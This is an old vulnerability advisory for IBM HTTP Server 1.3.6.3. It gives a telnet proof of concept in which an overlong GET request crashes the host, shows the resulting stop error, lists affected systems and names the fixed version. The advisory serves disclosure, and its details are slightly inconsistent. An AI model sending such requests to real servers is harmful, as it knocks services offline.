Ibm http Server Remote Overflow Vulnerability

Involved procedures:
GET

Description:
Ibm http Server Remote Overflow caused by the submission of ultra-long GET requests


Details:
The ibm http server is a web server. This vulnerability exists in Windows NT versions.

If you submit a GET request with more than 219 characters, the server stops responding and reports an error. To restore the normal operation of the service, restart the application. Attackers can exploit this vulnerability to execute any code on the affected host. (But this is not yet fully confirmed .)


The following code is only used to test and study this vulnerability. If you use it for an improper approach, you are solely responsible for the consequences.


$ Telnet target 80
GET/... (216 ".") aaa HTTP/1.0

The system reports the following error messages:
* ** STOP: 0x0000001e (0X00000005, 0X804B3A51, 0X00000000,0X00000000) kmode_0000ti
ON_NOT_HANDLED.
* ** Address 804B3A51 base at 80400000, Datastamp 384D9B17-ntoskrnl.exe
Note: The target host runs on Windows 2000.

Affected System
Ibm http Server 1.3.6.3
-TurboLinux Turbo Linux 3.0.1
-Sun Solaris 2.6
-S. u. S.E. Linux 6.1
-S. u. S.E. Linux 6.0
-RedHat Linux 6.0
-RedHat Linux 5.2
-Microsoft Windows NT 4.0
-Ibm aix 4.2.1
-Caldera OpenLinux 2.2

Solution:
IBM has fixed this issue in version 1.3.12 ,:
Http://www-4.ibm.com/software/webservers/httpservers/download.html